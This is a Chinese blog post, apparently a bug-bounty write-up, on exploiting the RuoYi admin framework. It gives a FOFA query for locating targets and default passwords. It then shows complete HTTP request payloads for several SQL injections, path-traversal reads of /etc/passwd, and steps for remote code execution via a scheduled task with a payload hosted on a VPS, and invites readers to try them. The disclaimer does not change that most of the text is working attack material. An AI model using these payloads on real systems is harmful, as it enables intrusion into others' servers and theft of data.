• 渗透测试--实战若依ruoyi框架


    免责声明:

    文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

    一:前言

    最近在挖某src的时候,碰到了一套若依,本以为啥都没有,结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的,分享出来让大家看看。
    image.png
    老司机一看就明白了我在找什么,虽然说机会不大,但偏偏就让我遇到了。

    二:ruoyi(若依)框架

    若依(Ruoyi)框架是一款基于 Spring Boot 2.5.5、Spring Cloud 2020.0、OAuth2 与 JWT 鉴权等核心技术,同时也支持Spring Security、Apache Shiro 等多种安全框架,以及 Mybatis、JPA 等流行持久化框架,提供了许多常用的功能模块,包括系统管理、监控管理、任务调度、代码生成、文件上传、高德地图等功能的快速开发平台。
    若依框架采用前后端分离的模式,基于Vue.js实现了前端UI框架,采用Feign作为服务调用,通过 Nacos 实现统一配置管理,是一款高效率、低封装、面向前端的开发框架。
    fofa语句:app="若依-管理系统"

    三:ruoyi(若依)漏洞

    前端存储账号密码

    image.png
    这个站进来是这样的,没错就是账号密码存储在前端,本来想试试弱口令的,这账号密码都摆着了,(狗头)
    不过大家遇见若依一般是不会有这种情况的,下面是若依系统常见的弱口令:
    admin/admin123
    ry/admin123
    ruoyi/admin123
    识别若依框架也很简单,大概就长这样,如果验证码是简单计算,存在记住密码也可能是若依
    image.png

    SQL注入1

    /system/role/list端点存在注入
    POC:

    POST /system/role/list HTTP/1.1
    Host: ip:port
    Content-Length: 179
    sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    sec-ch-ua-platform: "Windows"
    Origin: http://127.0.0.1
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1/system/role
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: yourcookie
    Connection: close
    
    pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    image.png

    SQL注入2

    /system/dept/edit此接口存在SQL注入

    POST /system/dept/edit HTTP/1.1
    Host: ip:port
    Content-Length: 111
    sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    sec-ch-ua-platform: "Windows"
    Origin: http://127.0.0.1
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1/system/role
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: yourcookie
    Connection: close
    
    DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    image.png

    SQL注入3

    /system/role/export端点存在注入
    poc:

    POST /system/role/export HTTP/1.1
    Host: ip:port
    Content-Length: 75
    sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    sec-ch-ua-platform: "Windows"
    Origin: http://127.0.0.1
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1/system/role
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: yourcookie
    Connection: close
    
    params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    image.png

    SQL注入4

    /tool/gen/createTable端点
    如果页面如下则可能存在漏洞
    image.png
    这里没有漏洞,我把poc放上来大家可以试试

    POST
    
    sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));
    
    • 1
    • 2
    • 3

    后台任意文件读取

    /common/download/resource?resource=/profile/../../../../Windows/win.ini
    
    • 1
    /common/download/resource?resource=/profile/../../../../etc/passwd
    
    • 1

    image.png

    shiro反序列化

    若依系统是使用了shiro的,所以可以直接当shiro来打。
    image.png
    image.png
    直接一把梭哈
    image.png

    后台定时任务RCE

    由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本:RuoYi<4.6.2
    1.下载exp
    https://github.com/artsploit/yaml-payload
    2.修改 AwesomeScriptEngineFactory.java文件,exec里改成要执行的命令
    image.png
    3.编译
    javac src/artsploit/AwesomeScriptEngineFactory.java

    jar -cvf yaml-payload.jar -C src/ .
    image.png
    就会生成一个.jar文件,放在vps上,开启一个http服务
    python3 -m http.server 5555
    image.png
    然后回到若依后台,添加一个计划任务,这里直接用工具了
    image.png
    image.png

  • 相关阅读:
    彻底搞懂Mybatis
    js比较时间戳是否为同一天
    LeetCode669. Trim a Binary Search Tree
    【JS】typeof和instanceof的区别是什么?
    动态主机配置协议(DHCP)解密:网络自动化与管理的关键
    超详细!一步到位!MySQL安装和基本使用
    字符串左旋解法和子字符串判断法
    学内核之八:Linux内核的smp_processor_id是如何实现的
    通用Mapper获取数据表中id为0解决方法。千万别瞎改int为integer了
    KubeVela 1.4.x 官方文档
  • 原文地址:https://blog.csdn.net/qq_53003652/article/details/134445952